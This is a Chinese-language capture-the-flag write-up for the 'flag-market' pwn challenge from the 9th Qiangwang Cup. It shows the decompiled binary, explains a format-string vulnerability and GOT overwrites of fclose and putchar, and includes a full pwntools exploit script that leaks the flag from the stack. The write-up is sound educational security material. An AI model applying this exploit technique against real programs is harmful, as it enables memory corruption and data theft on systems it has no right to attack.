第九届强网杯PWN题目flag-market

前言

我说这题真挺绕吧[手动滑稽],我最后费劲想出来的这个解法相当麻烦,反手搜了下其他人的wp,发现原来是有我不会的知识点[哭笑不得],总之,第二种解法比我这种简洁明了的多,我在文章最后会稍微说一下。

分析

图片

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int i; // [rsp+Ch] [rbp-84h]
  int fd; // [rsp+14h] [rbp-7Ch]
  FILE *stream; // [rsp+18h] [rbp-78h]
  char filename[9]; // [rsp+27h] [rbp-69h] BYREF
  char s[16]; // [rsp+30h] [rbp-60h] BYREF
  char v9[72]; // [rsp+40h] [rbp-50h] BYREF
  unsigned __int64 v10; // [rsp+88h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  sub_401336(a1, a2, a3);
  strcpy(filename, "/flag");
  stream = fopen(filename, "r");
  dword_40430C = 1;
  while ( 1 )
  {
    while ( 1 )
    {
      puts("welcome to flag market!\ngive me money to buy my flag,\nchoice: \n1.take my money\n2.exit");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) != 1 )
        exit(0);
      puts("how much you want to pay?");
      memset(s, 0, sizeof(s));
      read(0, s, 0x10u);
      if ( (unsigned __int8)atoi(s) == 0xFF )
        break;
      printf("You are so parsimonious!!!");
      if ( dword_40430C )
      {
        fclose(stream);
        dword_40430C = 0;
      }
    }
    puts(aThankYouForPay);
    if ( !dword_40430C || !fgets(v9, 64, stream) )
      break;
    for ( i = 0; ; ++i )
    {
      if ( i > 64 )
      {
        puts("\nThank you for your patronage!");
        return 0;
      }
      if ( v9[i] == 123 )
        break;
      putchar(v9[i]);
      sleep(1u);
    }
    memset(v9, 0, 0x40u);
    puts(a1m31mError0mSo);
    puts("opened user.log, please report:");
    memset(oflag, 0, 0x100u);
    __isoc99_scanf("%s", oflag);
    getchar();
    fd = open("user.log", (int)oflag);
    write(fd, oflag, 0x100u);
    puts(aOkNowYouCanExi);
  }
  puts("something is wrong");
  return 0;
}

这是一个flag售卖程序(疑似咸鱼暗广),大致逻辑就是当你支付255时,程序会从文件读取flag到v9,并打印flag,但当遇到‘{’时,就会停止并报错,然后让你输入一个日志,并存进user.log里。
我们发现oflag的下方存放的正好是printf要输出的字符串。

图片
图片
所以这里就能通过scanf输入垃圾数据覆盖到这里,然后利用格式化字符串漏洞进行一些操作,同时,我们注意到,问我们给多少钱时,我们是可以在栈上写地址的,配合格式化字符串漏洞,我们就可以在一定程度上“为所欲为”(任意地址写和任意地址读)了(桀桀桀)。但是,前提条件是“一定程度上”,这里必须注意,如果我们在输入金额时输入的不是255,程序不仅会关闭文件流,还会使dword_40430C = 0,这会使得程序不再执行fgets读入flag且会退出循环关闭程序,所以我们这里直接把fclose的got表项覆盖成main函数,这样基本可以保证不会让程序运行赋值代码了。接下来就是思考怎么把flag搞到手。

图片
neise1这里比较简单粗暴,想着,既然flag会被读到栈上,那我能不能想个办法把flag留在栈上,然后让printf直接从栈上读取,那么我要做的,就是跳出最内层while后,仍不让后半段程序执行(在我已经利用scanf布置好格式化字符串后)。在经历一阵头脑风暴后,neise1选择把putchar的got表也覆盖为main,这样就可以让flag留在栈上,并运行printf了,格式化字符串中用于改got表的偏移根据s数组在栈上的位置很好算,是12,读取flag的偏移需要经过gdb调试。

图片
这里可以直接用%s泄露,偏移就是14,如果觉得不安心也可以用三个%p泄露,只是需要再把泄露出的地址数据转成字符就是了。

exp

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *

context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
io = process('./chall')
elf = ELF('./chall')

fclose_got = 0x404030
putchar_got=0x404018
main_addr = 0x40139B

io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', b'255')

io.recvuntil(b'opened user.log, please report:\n')
payload = b'a' * 0x100
a=main_addr & 0xffff

fmtstr = f'%{a}c%12$hn'.encode()
payload += fmtstr
io.sendline(payload)

io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', p64(fclose_got))

io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', b'255')
io.recvuntil(b'opened user.log, please report:\n')
payload2 = b'a' * 0x100
fmtstr2 = f'%13$n'.encode()
fmtstr2 += f'%{main_addr}c%12$n'.encode()
fmtstr2 += b'%14$s'
payload2 += fmtstr2
io.sendline(payload2)
gdb.attach(io)
io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', p64(putchar_got)+p64(putchar_got+3))
gdb.attach(io)
io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', b'255')

io.sendlineafter(b'2.exit\n', b'1')
io.sendlineafter(b'how much you want to pay?\n', p64(putchar_got)+p64(putchar_got+3))

io.interactive()

两次got表改写不一样是因为,改fclose时,他还没被调用,got表里存的是plt条目中跳转到动态链接器的那条指令的地址。和main的地址只有低2字节不同所以只覆盖低2字节,但putchar被覆盖时已经被调用了,此时putchar这里存的是libc库的地址了,所以不但要3个字节全写,还必须要把下几个字节覆盖为0。
后面neise1查了wp后发现正常是用格式化漏洞泄露libc地址,然后找到flag所在的堆(简单来说,I/O类型的函数(如fopen,fgets等)为了提到效率,会用到“缓冲”机制,这个缓冲机制就是通过调用malloc来实现的),然后在libc库里找对应的堆指针,再通过格式化字符串泄露。

结尾

第二种解法具体详见第九届强网杯线上赛PWN_flag-market - YouDiscovered1t - 博客园
这是我第一篇博客,也不知道之后会不会有人来看[心虚],搭建博客主要就是为了记录自己在pwn方向的学习,并起到一个促进作用,不过就算只是自己搭建一个博客也依旧是很有成就感的。